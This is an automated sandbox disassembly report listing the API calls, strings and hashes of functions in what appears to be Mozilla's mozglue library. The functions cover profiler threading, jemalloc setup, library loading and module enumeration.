Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

Part of subcall function 6C93B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C93B5E0

GetCurrentThreadId.KERNEL32 ref: 6C97F739
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F746
GetCurrentThreadId.KERNEL32 ref: 6C97F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9B385B,00000002,?,?,?,?,?), ref: 6C97F829
free.MOZGLUE(?,?,00000000,?), ref: 6C97F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C97F866
free.MOZGLUE(?), ref: 6C97FA0C

Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C945E8C
Part of subcall function 6C945E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945E9D
Part of subcall function 6C945E60: GetCurrentThreadId.KERNEL32 ref: 6C945EAB
Part of subcall function 6C945E60: GetCurrentThreadId.KERNEL32 ref: 6C945EB8
Part of subcall function 6C945E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945ECF
Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C945F27
Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C945F47
Part of subcall function 6C945E60: GetCurrentProcess.KERNEL32 ref: 6C945F53
Part of subcall function 6C945E60: GetCurrentThread.KERNEL32 ref: 6C945F5C
Part of subcall function 6C945E60: GetCurrentProcess.KERNEL32 ref: 6C945F66
Part of subcall function 6C945E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C945F7E

free.MOZGLUE(?), ref: 6C97F9C5
free.MOZGLUE(?), ref: 6C97F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C97F71F
Thread , xrefs: 6C97F789
" attempted to re-register as ", xrefs: 6C97F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C97F9A6

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 0cf7b7be403a09e4333149f168d1c9851f4f9bc3a29a54a4420dbaf01e3be57e
Instruction ID: 2317ff18a61332c9d7c65e68afda0ff2a822ad1ead0585ffd463222ff15f1e47
Opcode Fuzzy Hash: 0cf7b7be403a09e4333149f168d1c9851f4f9bc3a29a54a4420dbaf01e3be57e
Instruction Fuzzy Hash: FA810275605600AFDB10DF24C480BABB7B5FFE5308F55456DE849ABB51EB30E809CBA2

Function 6C97EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EE60
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97EEA5
CloseHandle.KERNEL32(?), ref: 6C97EEB4
free.MOZGLUE(00000000), ref: 6C97EEBB
GetCurrentThreadId.KERNEL32 ref: 6C97EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97EECF

Part of subcall function 6C97DE60: GetCurrentThreadId.KERNEL32 ref: 6C97DE73
Part of subcall function 6C97DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C944A68), ref: 6C97DE7B
Part of subcall function 6C97DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C944A68), ref: 6C97DEB8
Part of subcall function 6C97DE60: free.MOZGLUE(00000000,?,6C944A68), ref: 6C97DEFE
Part of subcall function 6C97DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C97DF38

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

GetCurrentThreadId.KERNEL32 ref: 6C97EF1E
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EF59
GetCurrentThreadId.KERNEL32 ref: 6C97EFB0
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EFE1
GetCurrentThreadId.KERNEL32 ref: 6C97EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F000

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C97F02F

Part of subcall function 6C97F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C97F09B
Part of subcall function 6C97F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C97F0AC
Part of subcall function 6C97F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C97F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C97F008
[I %d/%d] profiler_stop, xrefs: 6C97EED7

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 1183c0f940aca4d05988ac0ba461eb661f9372770c10c7ed7f690f6609054dcd
Instruction ID: 6be3a1aa8d32f0ad1f5a574232d7be0da572a37423d4d24f4f16eb84a860c9a9
Opcode Fuzzy Hash: 1183c0f940aca4d05988ac0ba461eb661f9372770c10c7ed7f690f6609054dcd
Instruction Fuzzy Hash: 0F51E13D609214BFDB109B68D44C7ABB7B9EB5621CF200569E91993F81DB74C804C7FA

Function 6C96D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9BE804), ref: 6C96D047
GetSystemInfo.KERNEL32(?), ref: 6C96D093
__Init_thread_footer.LIBCMT ref: 6C96D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9BE810,00000040), ref: 6C96D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7B8,00001388), ref: 6C96D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE744,00001388), ref: 6C96D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE784,00001388), ref: 6C96D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7DC,00001388), ref: 6C96D1B1

Strings

MALLOC_OPTIONS, xrefs: 6C96D0CB
MOZ_CRASH(), xrefs: 6C96D277
<jemalloc>, xrefs: 6C96D268, 6C96D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C96D322
Compile-time page size does not divide the runtime one., xrefs: 6C96D26D

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 1699d654581705a27dfc63fa1e99eb958aa2924e4b44276eebc749eb581e8183
Instruction ID: 7f47097fb90a9fd43d570dbaa2f1df57e9f6511f4a26ba5e1facfaab50932689
Opcode Fuzzy Hash: 1699d654581705a27dfc63fa1e99eb958aa2924e4b44276eebc749eb581e8183
Instruction Fuzzy Hash: 6981DE71A08240ABFB049F6AC894B6B37BCEB56B08F3001AAE81197FC0D775D804CBD5

Function 6C945E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945E9D

Part of subcall function 6C955B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9556EE,?,00000001), ref: 6C955B85
Part of subcall function 6C955B50: EnterCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955B90
Part of subcall function 6C955B50: LeaveCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955BD8
Part of subcall function 6C955B50: GetTickCount64.KERNEL32 ref: 6C955BE4

GetCurrentThreadId.KERNEL32 ref: 6C945EAB
GetCurrentThreadId.KERNEL32 ref: 6C945EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C946017

Part of subcall function 6C934310: moz_xmalloc.MOZGLUE(00000010,?,6C9342D2), ref: 6C93436A
Part of subcall function 6C934310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9342D2), ref: 6C934387

moz_xmalloc.MOZGLUE(00000004), ref: 6C945F47
GetCurrentProcess.KERNEL32 ref: 6C945F53
GetCurrentThread.KERNEL32 ref: 6C945F5C
GetCurrentProcess.KERNEL32 ref: 6C945F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C945F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C945F27

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C945E8C

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C94605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C9460CC

Strings

GeckoMain, xrefs: 6C945ECE, 6C946015

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 332abe0e01711363fcda2e0e2b2d5e29be43473983df069f7b8613a10bdfb734
Instruction ID: 1c29f4afb98e96900a0783d020f5d8ed114a9743bf31b2e0a3dd16d9afb944f6
Opcode Fuzzy Hash: 332abe0e01711363fcda2e0e2b2d5e29be43473983df069f7b8613a10bdfb734
Instruction Fuzzy Hash: 8D71B1B4609740DFD700DF69C480A6ABBF0FF69304F54896DE48A87B52DB31E858CB92

Function 6C949590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9331C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C933217
Part of subcall function 6C9331C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C933236
Part of subcall function 6C9331C0: FreeLibrary.KERNEL32 ref: 6C93324B
Part of subcall function 6C9331C0: __Init_thread_footer.LIBCMT ref: 6C933260
Part of subcall function 6C9331C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C93327F
Part of subcall function 6C9331C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C93328E
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9332AB
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9332D1
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9332E5
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9332F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C949675
__Init_thread_footer.LIBCMT ref: 6C949697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C949707
__Init_thread_footer.LIBCMT ref: 6C94971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9497B7
FreeLibrary.KERNEL32 ref: 6C9497D0
FreeLibrary.KERNEL32 ref: 6C9497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949824

Strings

MapViewOfFileNuma2, xrefs: 6C9497B1
NtMapViewOfSection, xrefs: 6C949701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C949670
ntdll.dll, xrefs: 6C9496E3

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 9e873626e05b718dd0d4716eaea230b0ec05a1a6fd8a69d639903a9f65519545
Instruction ID: a69e7114fd2c529aaf8bda6bf5fbb1afb664b6c595e16acf99ded9f1c991ba8e
Opcode Fuzzy Hash: 9e873626e05b718dd0d4716eaea230b0ec05a1a6fd8a69d639903a9f65519545
Instruction Fuzzy Hash: 8A61D079608205FBDF00CF79D9C8B9B3BB8EB4AB18F218159E91593B80D730E944CB95

Function 6C947FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C948007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C94801D

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C94802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C94803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C94808D

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C94809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9480B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9480DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9480ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9480FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C948133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C948149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C948167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C94817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C948199

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 38fc88b4add392d64ebb5dadbf62f9f692645bec2c7880d4dae200dad712de56
Instruction ID: 67e5d6a1b57aa8a06ddf433e635df4424ac41c1def43da3fb594c8d05665adfe
Opcode Fuzzy Hash: 38fc88b4add392d64ebb5dadbf62f9f692645bec2c7880d4dae200dad712de56
Instruction Fuzzy Hash: 9251A5B1E00214ABDB00DBA5DC849EFB7B9EF69224F244126E815E7741E731E904CBA5

Function 6C996660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9BF618), ref: 6C996694
GetThreadId.KERNEL32(?), ref: 6C9966B1
GetCurrentThreadId.KERNEL32 ref: 6C9966B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9966E1
EnterCriticalSection.KERNEL32(6C9BF618), ref: 6C996734
GetCurrentProcess.KERNEL32 ref: 6C99673A
LeaveCriticalSection.KERNEL32(6C9BF618), ref: 6C99676C
GetCurrentThread.KERNEL32 ref: 6C9967FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C996868
RtlCaptureContext.NTDLL ref: 6C99687F

Strings

WalkStack64, xrefs: 6C996890

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a60f9504126bc6b6e28076be45f0461ee13ade641427e05c7b6e672f78194ecb
Instruction ID: 1ffa62b34be71430f6a2283fef29e6af899ffc88e8a1aa5d84438dbf0670c8ff
Opcode Fuzzy Hash: a60f9504126bc6b6e28076be45f0461ee13ade641427e05c7b6e672f78194ecb
Instruction Fuzzy Hash: BB51A771A09301AFDB51CF24C884A5BBBF8BF99B14F14492DF99897690D770E908CBD2

Function 6C97DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97DE73
GetCurrentThreadId.KERNEL32 ref: 6C97DF7D
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97DFC9
GetCurrentThreadId.KERNEL32 ref: 6C97DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C944A68), ref: 6C97DE7B

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C944A68), ref: 6C97DEB8
free.MOZGLUE(00000000,?,6C944A68), ref: 6C97DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C97DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C97E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C97DE83
<none>, xrefs: 6C97DFD7

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 8840d67768524095e3cc83b4e2696a4062af1c75c991ccd1c2bdfde60f30fd2e
Instruction ID: 7f651ca20c23550af7e217d5d857d7864fced48c9676f3fd7c0f14532e8efb9d
Opcode Fuzzy Hash: 8840d67768524095e3cc83b4e2696a4062af1c75c991ccd1c2bdfde60f30fd2e
Instruction Fuzzy Hash: 2741C53A706210ABDB209B65D8487ABB776EF9530CF640019E90997F41CB71D815C7F9

Function 6C98D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D52A
GetCurrentThreadId.KERNEL32 ref: 6C98D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D55F
free.MOZGLUE(00000000), ref: 6C98D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C98D5D3
GetCurrentThreadId.KERNEL32 ref: 6C98D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D652
GetCurrentThreadId.KERNEL32 ref: 6C98D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D6A2

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
